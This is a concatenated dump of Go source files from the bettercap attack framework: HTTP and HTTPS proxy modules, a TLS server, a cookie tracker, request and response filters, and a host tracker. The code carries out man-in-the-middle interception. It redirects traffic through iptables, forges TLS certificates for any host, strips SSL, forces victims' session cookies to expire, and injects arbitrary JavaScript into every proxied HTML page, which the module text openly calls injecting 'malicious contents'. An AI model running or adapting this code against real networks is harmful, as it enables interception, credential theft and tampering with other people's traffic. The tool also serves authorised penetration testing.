2}, "V": Command{HID: 25, Mode: 2}, "Z": Command{HID: 29, Mode: 2}, "^": Command{HID: 46, Mode: 2}, "b": Command{HID: 5}, "f": Command{HID: 9}, "j": Command{HID: 13}, "n": Command{HID: 17}, "r": Command{HID: 21}, "v": Command{HID: 25}, "z": Command{HID: 29}, "º": Command{HID: 53}, "~": Command{HID: 33, Mode: 64}, "!": Command{HID: 30, Mode: 2}, "%": Command{HID: 34, Mode: 2}, ")": Command{HID: 38, Mode: 2}, "-": Command{HID: 56}, "1": Command{HID: 30}, "5": Command{HID: 34}, "9": Command{HID: 38}, "=": Command{HID: 39, Mode: 2}, "A": Command{HID: 4, Mode: 2}, "E": Command{HID: 8, Mode: 2}, "I": Command{HID: 12, Mode: 2}, "M": Command{HID: 16, Mode: 2}, "Q": Command{HID: 20, Mode: 2}, "U": Command{HID: 24, Mode: 2}, "Y": Command{HID: 28, Mode: 2}, "]": Command{HID: 48, Mode: 64}, "a": Command{HID: 4}, "e": Command{HID: 8}, "i": Command{HID: 12}, "m": Command{HID: 16}, "q": Command{HID: 20}, "u": Command{HID: 24}, "y": Command{HID: 28}, "}": Command{HID: 48, Mode: 66}, }, } func KeyMapFor(lang string) KeyMap { if m, found := KeyMaps[lang]; found { mm := KeyMap{} for k, cmd := range BaseMap { mm[k] = cmd } for k, cmd := range m { mm[k] = cmd } return mm } return nil } func SupportedLayouts() []string { maps := []string{} for lang := range KeyMaps { maps = append(maps, lang) } sort.Strings(maps) return maps }
Go
bettercap/modules/https_proxy/https_proxy.go
package https_proxy import ( "github.com/bettercap/bettercap/modules/http_proxy" "github.com/bettercap/bettercap/session" "github.com/bettercap/bettercap/tls" "github.com/evilsocket/islazy/fs" "github.com/evilsocket/islazy/str" ) type HttpsProxy struct { session.SessionModule proxy *http_proxy.HTTPProxy } func NewHttpsProxy(s *session.Session) *HttpsProxy { mod := &HttpsProxy{ SessionModule: session.NewSessionModule("https.proxy", s), proxy: http_proxy.NewHTTPProxy(s, "https.proxy"), } mod.AddParam(session.NewIntParameter("https.port", "443", "HTTPS port to redirect when the proxy is activated.")) mod.AddParam(session.NewStringParameter("https.proxy.address", session.ParamIfaceAddress, session.IPv4Validator, "Address to bind the HTTPS proxy to.")) mod.AddParam(session.NewIntParameter("https.proxy.port", "8083", "Port to bind the HTTPS proxy to.")) mod.AddParam(session.NewBoolParameter("https.proxy.redirect", "true", "Enable or disable port redirection with iptables.")) mod.AddParam(session.NewBoolParameter("https.proxy.sslstrip", "false", "Enable or disable SSL stripping.")) mod.AddParam(session.NewStringParameter("https.proxy.injectjs", "", "", "URL, path or javascript code to inject into every HTML page.")) mod.AddParam(session.NewStringParameter("https.proxy.certificate", "~/.bettercap-ca.cert.pem", "", "HTTPS proxy certification authority TLS certificate file.")) mod.AddParam(session.NewStringParameter("https.proxy.key", "~/.bettercap-ca.key.pem", "", "HTTPS proxy certification authority TLS key file.")) tls.CertConfigToModule("https.proxy", &mod.SessionModule, tls.DefaultSpoofConfig) mod.AddParam(session.NewStringParameter("https.proxy.script", "", "", "Path of a proxy JS script.")) mod.AddParam(session.NewStringParameter("https.proxy.blacklist", "", "", "Comma separated list of hostnames to skip while proxying (wildcard expressions can be used).")) mod.AddParam(session.NewStringParameter("https.proxy.whitelist", "", "", "Comma separated list of hostnames to proxy if the blacklist is used (wildcard expressions can be used).")) mod.AddHandler(session.NewModuleHandler("https.proxy on", "", "Start HTTPS proxy.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("https.proxy off", "", "Stop HTTPS proxy.", func(args []string) error { return mod.Stop() })) mod.InitState("stripper") return mod } func (mod *HttpsProxy) Name() string { return "https.proxy" } func (mod *HttpsProxy) Description() string { return "A full featured HTTPS proxy that can be used to inject malicious contents into webpages, all HTTPS traffic will be redirected to it." } func (mod *HttpsProxy) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *HttpsProxy) Configure() error { var err error var address string var proxyPort int var httpPort int var doRedirect bool var scriptPath string var certFile string var keyFile string var stripSSL bool var jsToInject string var whitelist string var blacklist string if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } else if err, address = mod.StringParam("https.proxy.address"); err != nil { return err } else if err, proxyPort = mod.IntParam("https.proxy.port"); err != nil { return err } else if err, httpPort = mod.IntParam("https.port"); err != nil { return err } else if err, doRedirect = mod.BoolParam("https.proxy.redirect"); err != nil { return err } else if err, stripSSL = mod.BoolParam("https.proxy.sslstrip"); err != nil { return err } else if err, certFile = mod.StringParam("https.proxy.certificate"); err != nil { return err } else if certFile, err = fs.Expand(certFile); err != nil { return err } else if err, keyFile = mod.StringParam("https.proxy.key"); err != nil { return err } else if keyFile, err = fs.Expand(keyFile); err != nil { return err } else if err, scriptPath = mod.StringParam("https.proxy.script"); err != nil { return err } else if err, jsToInject = mod.StringParam("https.proxy.injectjs"); err != nil { return err } else if err, blacklist = mod.StringParam("https.proxy.blacklist"); err != nil { return err } else if err, whitelist = mod.StringParam("https.proxy.whitelist"); err != nil { return err } mod.proxy.Blacklist = str.Comma(blacklist) mod.proxy.Whitelist = str.Comma(whitelist) if !fs.Exists(certFile) || !fs.Exists(keyFile) { cfg, err := tls.CertConfigFromModule("https.proxy", mod.SessionModule) if err != nil { return err } mod.Debug("%+v", cfg) mod.Info("generating proxy certification authority TLS key to %s", keyFile) mod.Info("generating proxy certification authority TLS certificate to %s", certFile) if err := tls.Generate(cfg, certFile, keyFile, true); err != nil { return err } } else { mod.Info("loading proxy certification authority TLS key from %s", keyFile) mod.Info("loading proxy certification authority TLS certificate from %s", certFile) } error := mod.proxy.ConfigureTLS(address, proxyPort, httpPort, doRedirect, scriptPath, certFile, keyFile, jsToInject, stripSSL) // save stripper to share it with other http(s) proxies mod.State.Store("stripper", mod.proxy.Stripper) return error } func (mod *HttpsProxy) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.proxy.Start() }) } func (mod *HttpsProxy) Stop() error { mod.State.Store("stripper", nil) return mod.SetRunning(false, func() { mod.proxy.Stop() }) }
Go
bettercap/modules/https_server/https_server.go
package https_server import ( "context" "fmt" "net/http" "strings" "time" "github.com/bettercap/bettercap/session" "github.com/bettercap/bettercap/tls" "github.com/evilsocket/islazy/fs" "github.com/evilsocket/islazy/tui" ) type HttpsServer struct { session.SessionModule server *http.Server certFile string keyFile string } func NewHttpsServer(s *session.Session) *HttpsServer { mod := &HttpsServer{ SessionModule: session.NewSessionModule("https.server", s), server: &http.Server{}, } mod.AddParam(session.NewStringParameter("https.server.path", ".", "", "Server folder.")) mod.AddParam(session.NewStringParameter("https.server.address", session.ParamIfaceAddress, session.IPv4Validator, "Address to bind the http server to.")) mod.AddParam(session.NewIntParameter("https.server.port", "443", "Port to bind the http server to.")) mod.AddParam(session.NewStringParameter("https.server.certificate", "~/.bettercap-httpd.cert.pem", "", "TLS certificate file (will be auto generated if filled but not existing).")) mod.AddParam(session.NewStringParameter("https.server.key", "~/.bettercap-httpd.key.pem", "", "TLS key file (will be auto generated if filled but not existing).")) tls.CertConfigToModule("https.server", &mod.SessionModule, tls.DefaultLegitConfig) mod.AddHandler(session.NewModuleHandler("https.server on", "", "Start https server.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("https.server off", "", "Stop https server.", func(args []string) error { return mod.Stop() })) return mod } func (mod *HttpsServer) Name() string { return "https.server" } func (mod *HttpsServer) Description() string { return "A simple HTTPS server, to be used to serve files and scripts across the network." } func (mod *HttpsServer) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *HttpsServer) Configure() error { var err error var path string var address string var port int var certFile string var keyFile string if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } if err, path = mod.StringParam("https.server.path"); err != nil { return err } router := http.NewServeMux() fileServer := http.FileServer(http.Dir(path)) router.HandleFunc("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { mod.Debug("%s %s %s%s", tui.Bold(strings.Split(r.RemoteAddr, ":")[0]), r.Method, r.Host, r.URL.Path) fileServer.ServeHTTP(w, r) })) mod.server.Handler = router if err, address = mod.StringParam("https.server.address"); err != nil { return err } if err, port = mod.IntParam("https.server.port"); err != nil { return err } mod.server.Addr = fmt.Sprintf("%s:%d", address, port) if err, certFile = mod.StringParam("https.server.certificate"); err != nil { return err } else if certFile, err = fs.Expand(certFile); err != nil { return err } if err, keyFile = mod.StringParam("https.server.key"); err != nil { return err } else if keyFile, err = fs.Expand(keyFile); err != nil { return err } if !fs.Exists(certFile) || !fs.Exists(keyFile) { cfg, err := tls.CertConfigFromModule("https.server", mod.SessionModule) if err != nil { return err } mod.Debug("%+v", cfg) mod.Info("generating server TLS key to %s", keyFile) mod.Info("generating server TLS certificate to %s", certFile) if err := tls.Generate(cfg, certFile, keyFile, false); err != nil { return err } } else { mod.Info("loading server TLS key from %s", keyFile) mod.Info("loading server TLS certificate from %s", certFile) } mod.certFile = certFile mod.keyFile = keyFile return nil } func (mod *HttpsServer) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.Info("starting on https://%s", mod.server.Addr) if err := mod.server.ListenAndServeTLS(mod.certFile, mod.keyFile); err != nil && err != http.ErrServerClosed { mod.Error("%v", err) mod.Stop() } }) } func (mod *HttpsServer) Stop() error { return mod.SetRunning(false, func() { ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) defer cancel() mod.server.Shutdown(ctx) }) }
Go
bettercap/modules/http_proxy/http_proxy.go
package http_proxy import ( "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/str" ) type HttpProxy struct { session.SessionModule proxy *HTTPProxy } func NewHttpProxy(s *session.Session) *HttpProxy { mod := &HttpProxy{ SessionModule: session.NewSessionModule("http.proxy", s), proxy: NewHTTPProxy(s, "http.proxy"), } mod.AddParam(session.NewIntParameter("http.port", "80", "HTTP port to redirect when the proxy is activated.")) mod.AddParam(session.NewStringParameter("http.proxy.address", session.ParamIfaceAddress, session.IPv4Validator, "Address to bind the HTTP proxy to.")) mod.AddParam(session.NewIntParameter("http.proxy.port", "8080", "Port to bind the HTTP proxy to.")) mod.AddParam(session.NewBoolParameter("http.proxy.redirect", "true", "Enable or disable port redirection with iptables.")) mod.AddParam(session.NewStringParameter("http.proxy.script", "", "", "Path of a proxy JS script.")) mod.AddParam(session.NewStringParameter("http.proxy.injectjs", "", "", "URL, path or javascript code to inject into every HTML page.")) mod.AddParam(session.NewStringParameter("http.proxy.blacklist", "", "", "Comma separated list of hostnames to skip while proxying (wildcard expressions can be used).")) mod.AddParam(session.NewStringParameter("http.proxy.whitelist", "", "", "Comma separated list of hostnames to proxy if the blacklist is used (wildcard expressions can be used).")) mod.AddParam(session.NewBoolParameter("http.proxy.sslstrip", "false", "Enable or disable SSL stripping.")) mod.AddHandler(session.NewModuleHandler("http.proxy on", "", "Start HTTP proxy.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("http.proxy off", "", "Stop HTTP proxy.", func(args []string) error { return mod.Stop() })) mod.InitState("stripper") return mod } func (mod *HttpProxy) Name() string { return "http.proxy" } func (mod *HttpProxy) Description() string { return "A full featured HTTP proxy that can be used to inject malicious contents into webpages, all HTTP traffic will be redirected to it." } func (mod *HttpProxy) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *HttpProxy) Configure() error { var err error var address string var proxyPort int var httpPort int var doRedirect bool var scriptPath string var stripSSL bool var jsToInject string var blacklist string var whitelist string if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } else if err, address = mod.StringParam("http.proxy.address"); err != nil { return err } else if err, proxyPort = mod.IntParam("http.proxy.port"); err != nil { return err } else if err, httpPort = mod.IntParam("http.port"); err != nil { return err } else if err, doRedirect = mod.BoolParam("http.proxy.redirect"); err != nil { return err } else if err, scriptPath = mod.StringParam("http.proxy.script"); err != nil { return err } else if err, stripSSL = mod.BoolParam("http.proxy.sslstrip"); err != nil { return err } else if err, jsToInject = mod.StringParam("http.proxy.injectjs"); err != nil { return err } else if err, blacklist = mod.StringParam("http.proxy.blacklist"); err != nil { return err } else if err, whitelist = mod.StringParam("http.proxy.whitelist"); err != nil { return err } mod.proxy.Blacklist = str.Comma(blacklist) mod.proxy.Whitelist = str.Comma(whitelist) error := mod.proxy.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL) // save stripper to share it with other http(s) proxies mod.State.Store("stripper", mod.proxy.Stripper) return error } func (mod *HttpProxy) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.proxy.Start() }) } func (mod *HttpProxy) Stop() error { mod.State.Store("stripper", nil) return mod.SetRunning(false, func() { mod.proxy.Stop() }) }
Go
bettercap/modules/http_proxy/http_proxy_base.go
package http_proxy import ( "bufio" "bytes" "context" "crypto/tls" "crypto/x509" "fmt" "io/ioutil" "net" "net/http" "net/url" "path/filepath" "strconv" "strings" "time" "github.com/bettercap/bettercap/firewall" "github.com/bettercap/bettercap/session" btls "github.com/bettercap/bettercap/tls" "github.com/elazarl/goproxy" "github.com/inconshreveable/go-vhost" "github.com/evilsocket/islazy/fs" "github.com/evilsocket/islazy/log" "github.com/evilsocket/islazy/str" "github.com/evilsocket/islazy/tui" ) const ( httpReadTimeout = 5 * time.Second httpWriteTimeout = 10 * time.Second ) type HTTPProxy struct { Name string Address string Server *http.Server Redirection *firewall.Redirection Proxy *goproxy.ProxyHttpServer Script *HttpProxyScript CertFile string KeyFile string Blacklist []string Whitelist []string Sess *session.Session Stripper *SSLStripper jsHook string isTLS bool isRunning bool doRedirect bool sniListener net.Listener tag string } func stripPort(s string) string { ix := strings.IndexRune(s, ':') if ix == -1 { return s } return s[:ix] } type dummyLogger struct { p *HTTPProxy } func (l dummyLogger) Printf(format string, v ...interface{}) { l.p.Debug("[goproxy.log] %s", str.Trim(fmt.Sprintf(format, v...))) } func NewHTTPProxy(s *session.Session, tag string) *HTTPProxy { p := &HTTPProxy{ Name: "http.proxy", Proxy: goproxy.NewProxyHttpServer(), Sess: s, Stripper: NewSSLStripper(s, false), isTLS: false, doRedirect: true, Server: nil, Blacklist: make([]string, 0), Whitelist: make([]string, 0), tag: session.AsTag(tag), } p.Proxy.Verbose = false p.Proxy.Logger = dummyLogger{p} p.Proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) { if p.doProxy(req) { if !p.isTLS { req.URL.Scheme = "http" } req.URL.Host = req.Host p.Proxy.ServeHTTP(w, req) } }) p.Proxy.OnRequest().HandleConnect(goproxy.AlwaysMitm) p.Proxy.OnRequest().DoFunc(p.onRequestFilter) p.Proxy.OnResponse().DoFunc(p.onResponseFilter) return p } func (p *HTTPProxy) Debug(format string, args ...interface{}) { p.Sess.Events.Log(log.DEBUG, p.tag+format, args...) } func (p *HTTPProxy) Info(format string, args ...interface{}) { p.Sess.Events.Log(log.INFO, p.tag+format, args...) } func (p *HTTPProxy) Warning(format string, args ...interface{}) { p.Sess.Events.Log(log.WARNING, p.tag+format, args...) } func (p *HTTPProxy) Error(format string, args ...interface{}) { p.Sess.Events.Log(log.ERROR, p.tag+format, args...) } func (p *HTTPProxy) Fatal(format string, args ...interface{}) { p.Sess.Events.Log(log.FATAL, p.tag+format, args...) } func (p *HTTPProxy) doProxy(req *http.Request) bool { if req.Host == "" { p.Error("got request with empty host: %v", req) return false } hostname := strings.Split(req.Host, ":")[0] for _, local := range []string{"localhost", "127.0.0.1"} { if hostname == local { p.Error("got request with localed host: %s", req.Host) return false } } return true } func (p *HTTPProxy) shouldProxy(req *http.Request) bool { hostname := strings.Split(req.Host, ":")[0] // check for the whitelist for _, expr := range p.Whitelist { if matched, err := filepath.Match(expr, hostname); err != nil { p.Error("error while using proxy whitelist expression '%s': %v", expr, err) } else if matched { p.Debug("hostname '%s' matched whitelisted element '%s'", hostname, expr) return true } } // then the blacklist for _, expr := range p.Blacklist { if matched, err := filepath.Match(expr, hostname); err != nil { p.Error("error while using proxy blacklist expression '%s': %v", expr, err) } else if matched { p.Debug("hostname '%s' matched blacklisted element '%s'", hostname, expr) return false } } return true } func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string, jsToInject string, stripSSL bool) error { var err error // check if another http(s) proxy is using sslstrip and merge strippers if stripSSL { for _, mname := range []string{"http.proxy", "https.proxy"}{ err, m := p.Sess.Module(mname) if err == nil && m.Running() { var mextra interface{} var mstripper *SSLStripper mextra = m.Extra() mextramap := mextra.(map[string]interface{}) mstripper = mextramap["stripper"].(*SSLStripper) if mstripper != nil && mstripper.Enabled() { p.Info("found another proxy using sslstrip -> merging strippers...") p.Stripper = mstripper break } } } } p.Stripper.Enable(stripSSL) p.Address = address p.doRedirect = doRedirect p.jsHook = "" if strings.HasPrefix(jsToInject, "http://") || strings.HasPrefix(jsToInject, "https://") { p.jsHook = fmt.Sprintf("<script src=\"%s\" type=\"text/javascript\"></script></head>", jsToInject) } else if fs.Exists(jsToInject) { if data, err := ioutil.ReadFile(jsToInject); err != nil { return err } else { jsToInject = string(data) } } if p.jsHook == "" && jsToInject != "" { if !strings.HasPrefix(jsToInject, "<script ") { jsToInject = fmt.Sprintf("<script type=\"text/javascript\">%s</script>", jsToInject) } p.jsHook = fmt.Sprintf("%s</head>", jsToInject) } if scriptPath != "" { if err, p.Script = LoadHttpProxyScript(scriptPath, p.Sess); err != nil { return err } else { p.Debug("proxy script %s loaded.", scriptPath) } } p.Server = &http.Server{ Addr: fmt.Sprintf("%s:%d", p.Address, proxyPort), Handler: p.Proxy, ReadTimeout: httpReadTimeout, WriteTimeout: httpWriteTimeout, } if p.doRedirect { if !p.Sess.Firewall.IsForwardingEnabled() { p.Info("enabling forwarding.") p.Sess.Firewall.EnableForwarding(true) } p.Redirection = firewall.NewRedirection(p.Sess.Interface.Name(), "TCP", httpPort, p.Address, proxyPort) if err := p.Sess.Firewall.EnableRedirection(p.Redirection, true); err != nil { return err } p.Debug("applied redirection %s", p.Redirection.String()) } else { p.Warning("port redirection disabled, the proxy must be set manually to work") } p.Sess.UnkCmdCallback = func(cmd string) bool { if p.Script != nil { return p.Script.OnCommand(cmd) } return false } return nil } func (p *HTTPProxy) TLSConfigFromCA(ca *tls.Certificate) func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) { return func(host string, ctx *goproxy.ProxyCtx) (c *tls.Config, err error) { parts := strings.SplitN(host, ":", 2) hostname := parts[0] port := 443 if len(parts) > 1 { port, err = strconv.Atoi(parts[1]) if err != nil { port = 443 } } cert := getCachedCert(hostname, port) if cert == nil { p.Info("creating spoofed certificate for %s:%d", tui.Yellow(hostname), port) cert, err = btls.SignCertificateForHost(ca, hostname, port) if err != nil { p.Warning("cannot sign host certificate with provided CA: %s", err) return nil, err } setCachedCert(hostname, port, cert) } else { p.Debug("serving spoofed certificate for %s:%d", tui.Yellow(hostname), port) } config := tls.Config{ InsecureSkipVerify: true, Certificates: []tls.Certificate{*cert}, } return &config, nil } } func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string, certFile string, keyFile string, jsToInject string, stripSSL bool) (err error) { if err = p.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL); err != nil { return err } p.isTLS = true p.Name = "https.proxy" p.CertFile = certFile p.KeyFile = keyFile rawCert, _ := ioutil.ReadFile(p.CertFile) rawKey, _ := ioutil.ReadFile(p.KeyFile) ourCa, err := tls.X509KeyPair(rawCert, rawKey) if err != nil { return err } if ourCa.Leaf, err = x509.ParseCertificate(ourCa.Certificate[0]); err != nil { return err } goproxy.GoproxyCa = ourCa goproxy.OkConnect = &goproxy.ConnectAction{Action: goproxy.ConnectAccept, TLSConfig: p.TLSConfigFromCA(&ourCa)} goproxy.MitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectMitm, TLSConfig: p.TLSConfigFromCA(&ourCa)} goproxy.HTTPMitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectHTTPMitm, TLSConfig: p.TLSConfigFromCA(&ourCa)} goproxy.RejectConnect = &goproxy.ConnectAction{Action: goproxy.ConnectReject, TLSConfig: p.TLSConfigFromCA(&ourCa)} return nil } func (p *HTTPProxy) httpWorker() error { p.isRunning = true return p.Server.ListenAndServe() } type dumbResponseWriter struct { net.Conn } func (dumb dumbResponseWriter) Header() http.Header { panic("Header() should not be called on this ResponseWriter") } func (dumb dumbResponseWriter) Write(buf []byte) (int, error) { if bytes.Equal(buf, []byte("HTTP/1.0 200 OK\r\n\r\n")) { return len(buf), nil // throw away the HTTP OK response from the faux CONNECT request } return dumb.Conn.Write(buf) } func (dumb dumbResponseWriter) WriteHeader(code int) { panic("WriteHeader() should not be called on this ResponseWriter") } func (dumb dumbResponseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) { return dumb, bufio.NewReadWriter(bufio.NewReader(dumb), bufio.NewWriter(dumb)), nil } func (p *HTTPProxy) httpsWorker() error { var err error // listen to the TLS ClientHello but make it a CONNECT request instead p.sniListener, err = net.Listen("tcp", p.Server.Addr) if err != nil { return err } p.isRunning = true for p.isRunning { c, err := p.sniListener.Accept() if err != nil { p.Warning("error accepting connection: %s.", err) continue } go func(c net.Conn) { now := time.Now() c.SetReadDeadline(now.Add(httpReadTimeout)) c.SetWriteDeadline(now.Add(httpWriteTimeout)) tlsConn, err := vhost.TLS(c) if err != nil { p.Warning("error reading SNI: %s.", err) return } hostname := tlsConn.Host() if hostname == "" { p.Warning("client does not support SNI.") return } p.Debug("proxying connection from %s to %s", tui.Bold(stripPort(c.RemoteAddr().String())), tui.Yellow(hostname)) req := &http.Request{ Method: "CONNECT", URL: &url.URL{ Opaque: hostname, Host: net.JoinHostPort(hostname, "443"), }, Host: hostname, Header: make(http.Header), RemoteAddr: c.RemoteAddr().String(), } p.Proxy.ServeHTTP(dumbResponseWriter{tlsConn}, req) }(c) } return nil } func (p *HTTPProxy) Start() { go func() { var err error strip := tui.Yellow("enabled") if !p.Stripper.Enabled() { strip = tui.Dim("disabled") } p.Info("started on %s (sslstrip %s)", p.Server.Addr, strip) if p.isTLS { err = p.httpsWorker() } else { err = p.httpWorker() } if err != nil && err.Error() != "http: Server closed" { p.Fatal("%s", err) } }() } func (p *HTTPProxy) Stop() error { if p.doRedirect && p.Redirection != nil { p.Debug("disabling redirection %s", p.Redirection.String()) if err := p.Sess.Firewall.EnableRedirection(p.Redirection, false); err != nil { return err } p.Redirection = nil } p.Sess.UnkCmdCallback = nil if p.isTLS { p.isRunning = false p.sniListener.Close() return nil } else { ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() return p.Server.Shutdown(ctx) } }
Go
bettercap/modules/http_proxy/http_proxy_base_cookietracker.go
package http_proxy import ( "fmt" "net/http" "strings" "sync" "github.com/elazarl/goproxy" "github.com/jpillora/go-tld" ) type CookieTracker struct { sync.RWMutex set map[string]bool } func NewCookieTracker() *CookieTracker { return &CookieTracker{ set: make(map[string]bool), } } func (t *CookieTracker) domainOf(req *http.Request) string { if parsed, err := tld.Parse(req.Host); err != nil { return req.Host } else { return fmt.Sprintf("%s.%s", parsed.Domain, parsed.TLD) } } func (t *CookieTracker) keyOf(req *http.Request) string { client := strings.Split(req.RemoteAddr, ":")[0] domain := t.domainOf(req) return fmt.Sprintf("%s-%s", client, domain) } func (t *CookieTracker) IsClean(req *http.Request) bool { // we only clean GET requests if req.Method != "GET" { return true } // does the request have any cookie? cookie := req.Header.Get("Cookie") if cookie == "" { return true } t.RLock() defer t.RUnlock() // was it already processed? if _, found := t.set[t.keyOf(req)]; found { return true } // unknown session cookie return false } func (t *CookieTracker) Track(req *http.Request) { t.Lock() defer t.Unlock() t.set[t.keyOf(req)] = true } func (t *CookieTracker) Expire(req *http.Request) *http.Response { domain := t.domainOf(req) redir := goproxy.NewResponse(req, "text/plain", 302, "") for _, c := range req.Cookies() { redir.Header.Add("Set-Cookie", fmt.Sprintf("%s=EXPIRED; path=/; domain=%s; Expires=Mon, 01-Jan-1990 00:00:00 GMT", c.Name, domain)) redir.Header.Add("Set-Cookie", fmt.Sprintf("%s=EXPIRED; path=/; domain=%s; Expires=Mon, 01-Jan-1990 00:00:00 GMT", c.Name, c.Domain)) } redir.Header.Add("Location", fmt.Sprintf("http://%s/", req.Host)) redir.Header.Add("Connection", "close") return redir }
Go
bettercap/modules/http_proxy/http_proxy_base_filters.go
package http_proxy import ( "io/ioutil" "net/http" "strings" "strconv" "github.com/elazarl/goproxy" "github.com/evilsocket/islazy/tui" ) func (p *HTTPProxy) fixRequestHeaders(req *http.Request) { req.Header.Del("Accept-Encoding") req.Header.Del("If-None-Match") req.Header.Del("If-Modified-Since") req.Header.Del("Upgrade-Insecure-Requests") req.Header.Set("Pragma", "no-cache") } func (p *HTTPProxy) onRequestFilter(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) { if p.shouldProxy(req) { p.Debug("< %s %s %s%s", req.RemoteAddr, req.Method, req.Host, req.URL.Path) p.fixRequestHeaders(req) redir := p.Stripper.Preprocess(req, ctx) if redir != nil { // we need to redirect the user in order to make // some session cookie expire return req, redir } // do we have a proxy script? if p.Script == nil { return req, nil } // run the module OnRequest callback if defined jsreq, jsres := p.Script.OnRequest(req) if jsreq != nil { // the request has been changed by the script p.logRequestAction(req, jsreq) return jsreq.ToRequest(), nil } else if jsres != nil { // a fake response has been returned by the script p.logResponseAction(req, jsres) return req, jsres.ToResponse(req) } } return req, nil } func (p *HTTPProxy) getHeader(res *http.Response, header string) string { header = strings.ToLower(header) for name, values := range res.Header { for _, value := range values { if strings.ToLower(name) == header { return value } } } return "" } func (p *HTTPProxy) isScriptInjectable(res *http.Response) (bool, string) { if p.jsHook == "" { return false, "" } else if contentType := p.getHeader(res, "Content-Type"); strings.Contains(contentType, "text/html") { return true, contentType } return false, "" } func (p *HTTPProxy) doScriptInjection(res *http.Response, cType string) (error) { defer res.Body.Close() raw, err := ioutil.ReadAll(res.Body) if err != nil { return err } else if html := string(raw); strings.Contains(html, "</head>") { p.Info("> injecting javascript (%d bytes) into %s (%d bytes) for %s", len(p.jsHook), tui.Yellow(res.Request.Host+res.Request.URL.Path), len(raw), tui.Bold(strings.Split(res.Request.RemoteAddr, ":")[0])) html = strings.Replace(html, "</head>", p.jsHook, -1) res.Header.Set("Content-Length", strconv.Itoa(len(html))) // reset the response body to the original unread state res.Body = ioutil.NopCloser(strings.NewReader(html)) return nil } return nil } func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response { // sometimes it happens ¯\_(ツ)_/¯ if res == nil { return nil } if p.shouldProxy(res.Request) { p.Debug("> %s %s %s%s", res.Request.RemoteAddr, res.Request.Method, res.Request.Host, res.Request.URL.Path) p.Stripper.Process(res, ctx) // do we have a proxy script? if p.Script != nil { _, jsres := p.Script.OnResponse(res) if jsres != nil { // the response has been changed by the script p.logResponseAction(res.Request, jsres) return jsres.ToResponse(res.Request) } } // inject javascript code if specified and needed if doInject, cType := p.isScriptInjectable(res); doInject { if err := p.doScriptInjection(res, cType); err != nil { p.Error("error while injecting javascript: %s", err) } } } return res } func (p *HTTPProxy) logRequestAction(req *http.Request, jsreq *JSRequest) { p.Sess.Events.Add(p.Name+".spoofed-request", struct { To string Method string Host string Path string Size int }{ strings.Split(req.RemoteAddr, ":")[0], jsreq.Method, jsreq.Hostname, jsreq.Path, len(jsreq.Body), }) } func (p *HTTPProxy) logResponseAction(req *http.Request, jsres *JSResponse) { p.Sess.Events.Add(p.Name+".spoofed-response", struct { To string Method string Host string Path string Size int }{ strings.Split(req.RemoteAddr, ":")[0], req.Method, req.Host, req.URL.Path, len(jsres.Body), }) }
Go
bettercap/modules/http_proxy/http_proxy_base_hosttracker.go
package http_proxy import ( "net" "sync" ) type Host struct { Hostname string Address net.IP Resolved sync.WaitGroup } func NewHost(name string) *Host { h := &Host{ Hostname: name, Address: nil, Resolved: sync.WaitGroup{}, } h.Resolved.Add(1) go func(ph *Host) { defer ph.Resolved.Done() if addrs, err := net.LookupIP(ph.Hostname); err == nil && len(addrs) > 0 { ph.Address = make(net.IP, len(addrs[0])) copy(ph.Address, addrs[0]) } else { ph.Address = nil } }(h) return h } type HostTracker struct { sync.RWMutex uhosts map[string]*Host shosts map[string]*Host } func NewHostTracker() *HostTracker { return &HostTracker{ uhosts: make(map[string]*Host), shosts: make(map[string]*Host), } } func (t *HostTracker) Track(host, stripped string) { t.Lock() defer t.Unlock() t.uhosts[stripped] = NewHost(host) t.shosts[host] = NewHost(stripped) } func (t *HostTracker) Unstrip(stripped string) *Host { t.RLock() defer t.RUnlock() if host, found := t.uhosts[stripped]; found { return host } return nil } func (t *HostTracker) Strip(unstripped string) *Host { t.RLock() defer t.RUnlock() if host, found := t.shosts[unstripped]; found { return host } return nil }
Go
bettercap/modules/http_proxy/http_proxy_base_sslstriper.go
